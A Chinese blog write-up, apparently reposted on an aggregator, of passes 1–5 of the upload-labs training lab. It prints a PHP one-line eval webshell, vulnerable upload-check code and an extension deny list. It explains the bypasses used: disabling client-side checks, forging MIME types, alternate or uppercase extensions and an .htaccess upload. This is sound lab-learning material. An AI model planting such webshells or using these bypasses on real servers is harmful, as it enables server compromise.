IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> upload-labs -> 正文阅读

[PHP知识库]upload-labs

PASS01

先测试一下,上传一个图片,如图

成功上传了昂,试试上传php一句话木马

<?php
 eval($_POST[1]);
?> 

发现上传不成功,查看提示

既然是前端js,那么我们直接把js禁用试试,

?接着我们试试再上传一句话木马

?这一次就上传成功了,我们右键图片复制地址,然后就可以通过蚁剑连接了?

PASS02

首先查看提示

?

? ? 对于web应用来说的话,就是在把响应结果传送到浏览器上的时候,浏览器必须启动适当的应用程序来处理这个响应文档。这就可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。在HTTP中,MIME类型被定义在Content-Type header中。

? 比如你要传送一个Microsoft Excel文件到客户端。那么这时的MIME类型就是“application/vnd.ms-excel”。 在大多数实际情况中,这个文件会被传送给 Execl来处理(假设我们设定Execl为处理特殊MIME类型的应用程序)。
在HTTP协议中,MIME类型就被定义在数据包的Content-Type?字段中,我们接着查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

我们可以看出该PASS通过MIME只能上传jpeg、png 、gif类型的文件

我们试着上传一个php试试

提示失败,我们将一句木马后缀改为png,上传然后接种用burp截取

?我们把上传的png再次改为php

?接着我们放包

?可以看到我们这此成功上传了昂,复制图片地址,在蚁剑链接就好

?PASS03

?

?第三关采用了黑名单的验证方式,黑名单过滤也是一种不安全的方式,黑名单中定义了一系列的不安全的扩展名,服务器在接收到文件后,与黑名单做对比,从而决定是否要过滤上传的文件。

这里我们补充一点关于Apache的知识:

1.Apache解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不能识别的话,就继续往左判断,直到遇到可以解析的文件后缀为止。
2.Apache的httpd.conf中可以进行配置,规定哪些文件后缀是以php格式来解析的,这是属于管理员的配置不当导致的漏洞。

所以我们可以试着上传phtml,php3,php4,php5,pht等文件试试是否上传成功

这里有一个坑,我们需要对httpd.conf文件进行修改

在这里添加 AddType application/x-httpd-php .php .phtml .php3

?这句话的意思就是服务器会把.php、.phtml、.php3这几个后缀名的文件都用php格式来解析

接着我们将php文件后缀php3

上传php3之后再通过burp抓包?

复制图片链接之后链接蚁剑

PASS04

好家伙我直呼好家伙,直接把这么多后缀都上黑名单了,但是黑名单还是漏掉了一个htaccess

我们作为菜鸟,首先要了解htaccessApache服务器中的.htaccess文件的配置_kakuma_chen的博客-CSDN博客_.htaccess文件w

我们试着上传一个.htaccess配置文件?

这句话的意思是说让Apache对当前目录中的所有文件都以php的格式进行解析

我们上传试试

?接下来我们将一句话木马随便改一个后缀,只要不是黑名单里的就行,再试着上传

上传成功昂,这里面也有一个坑,我们需要先设置Apache配置

打开apache的httpd.conf设置文件
查找到的AllowOverride None,将其改为AllowOverride All,如图示

?接下来用蚁剑连接

?PASS05

由于我们是菜鸡,所以直接就看源码了昂

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

?可以看到,这一pass已经将.htaccess加入黑名单了,但是我们仔细观察

相比pass04,少这么一行代码

$file_ext = strtolower($file_ext); //转换为小写

这意味着什么?我们可以直接将一句话木马的后缀php大写PHP就行了,试一试

好顺利...,直接连接蚁剑试试

?

?YES了昂

结束语

? 前五关很多都是边学边做,里面还有很多不懂得地方,包括看代码都是很多搜索的,自己还要加油!

几篇参考博客:

upload-labs 04(上传.htaccess)_LuckySec-CSDN博客

upload-labs之第二三关_田田云逸的博客-CSDN博客

upload-labs之第四五关_田田云逸的博客-CSDN博客

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-25 10:23:28  更:2022-01-25 10:23:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:32:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码